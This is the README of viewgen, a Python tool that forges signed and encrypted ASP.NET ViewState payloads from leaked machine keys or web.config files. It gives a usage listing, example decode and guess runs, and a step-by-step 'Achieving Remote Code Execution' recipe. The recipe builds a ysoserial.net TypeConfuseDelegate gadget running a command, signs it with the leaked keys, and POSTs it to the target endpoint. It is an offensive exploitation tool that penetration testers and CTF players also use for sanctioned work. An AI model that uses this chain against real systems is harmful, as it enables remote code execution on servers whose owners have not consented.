

viewgen

viewgen - 0xACB, GitHub.

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- Repository: <https://github.com/0xACB/viewgen>
- Commit: 06e26dea866fda5e62e9abedff326977c099b6bc
- Documents preserved: 2

LICENSE

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README.md

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Viewgen

ASP.NET ViewState Generator

viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or `web.config` files

Installation

Requirements: Python 3

```
pip3 install --user --upgrade -r requirements.txt or ./install.sh
```

Docker

```
docker build -t viewgen . or docker pull 0xacb/viewgen
```

Usage

```
$ viewgen -h
usage: viewgen [-h] [--webconfig WEBCONFIG] [-m MODIFIER]
              [--viewstateuserkey VIEWSTATEUSERKEY] [-c COMMAND] [--decode]
              [--guess] [--check] [--vkey VKEY] [--valg VALG] [--dkey DKEY]
              [--dalg DALG] [-u] [-e] [-f FILE] [--version]
              [payload]
```

viewgen is a ViewState tool capable of generating both signed and encrypted payloads with leaked validation keys or web.config files

positional arguments:

payload ViewState payload (base 64 encoded)

options:

-h, --help	show this help message and exit
--webconfig WEBCONFIG	automatically load keys and algorithms from a web.config file
-m MODIFIER, --modifier MODIFIER	VIEWSTATEGENERATOR value
--viewstateuserkey VIEWSTATEUSERKEY	ViewStateUserKey CSRF value
-c COMMAND, --command COMMAND	command to execute
--decode	decode a ViewState payload
--guess	guess signature and encryption mode for a given payload
--check	check if modifier and keys are correct for a given payload
--vkey VKEY	validation key
--valg VALG	validation algorithm
--dkey DKEY	decryption key
--dalg DALG	decryption algorithm
-u, --urlencode	URL encode viewstates
-e, --encrypted	ViewState is encrypted
-f FILE, --file FILE	read ViewState payload from file
--version	show viewgen version

Examples

```

$ viewgen --decode --check --webconfig web.config --modifier CA0B0334
"zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmt0it2HY314LI8ypN0Ju
aLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjrDueY="
[+] ViewState
(('1628925133', (None, [3, (['enctype', 'multipart/form-data'], None)])), None)
[+] Signature
7441f6eeb4fab5a5f30d6ba99908c08eb683b9e6
[+] Signature match

$ viewgen --webconfig web.config --modifier CA0B0334
"/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2ZvcmtZGF0YWRk"
r4zCP5CdSo5R9XmiEXvp1LHVzX1uICmY7oW2WD/gKS/Mt/s+NKXrMpScr4Gvrji7lFdHP0ttFpi2x7YbmQjEjJ2Nd
BMuzeKFzIuno2DenYF8yVVKx5+LL7LYmI0CVcNQ+jH8VxvzVG58NQIJ/rSr6NqNMBahrVfAyVPgdL4Eke3Bq4XWk6
BYW2Bht6ykSHF9szT8tG6KUKwf+T94hFUFNIXXkURptwQJEC/5AMkFXMU0VXDa

$ viewgen --guess
"/wEPDwUKMTYyODkyNTEzMw9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2ZvcmtZGF0YWRkuVmQYhhtcnJl
6Nfet5ERqNHMADI="
[+] ViewState is not encrypted
[+] Signature algorithm: SHA1

$ viewgen --guess
"zUylqfbpWnWHwPqet3cH5Prypl94LtUPcoC7ujm9JJdLm8V7Ng4tlnGPEWUXly+CDxBWmt0it2HY314LI8ypN0Ju
aLdRfxUK7mGsgLDvZsMg/MXN31lcDsiAnPTYUYYcdEH27rT6taXzDWupmQjAjrDueY="
[!] ViewState is encrypted
[+] Algorithm candidates:
AES SHA1
DES/3DES SHA1

```

Achieving Remote Code Execution

Leaking the `web.config` file or validation keys from ASP.NET apps results in RCE via `ObjectStateFormatter` deserialization if ViewStates are used.

You can use the built-in `command` option (ysoserial.net based) to generate a payload:

```
$ viewgen --webconfig web.config -m CA0B0334 -c "ping yourdomain.tld"
```

However, you can also generate it manually:

1 - Generate a payload with ysoserial.net:

```
> ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "ping
yourdomain.tld"
```

2 - Grab a modifier (`__VIEWSTATEGENERATOR` value) from a given endpoint of the webapp

3 - Generate the signed/encrypted payload:

```
$ viewgen --webconfig web.config --modifier MODIFIER PAYLOAD
```

4 - Send a `POST` request with the generated ViewState to the same endpoint

5 - Profit ☑☑

Thanks

- [@orange_8361](#), the author of *Why so Serials* (HITCON CTF 2018)
 - [@infosec_au](#)
 - [@smiegles](#)
 - **BBAC**
 - All contributors
-

CTF Writeups

- <https://xz.aliyun.com/t/3019>
- <https://cyku.tw/ctf-hitcon-2018-why-so-serials/>

Blog Posts

- <https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/>

Talks

- https://illuminopi.com/assets/files/BSideslowa_RCEvil.net_20190420.pdf
 - <https://speakerdeck.com/pwntester/dot-net-serialization-detecting-and-defending-vulnerable-endpoints>
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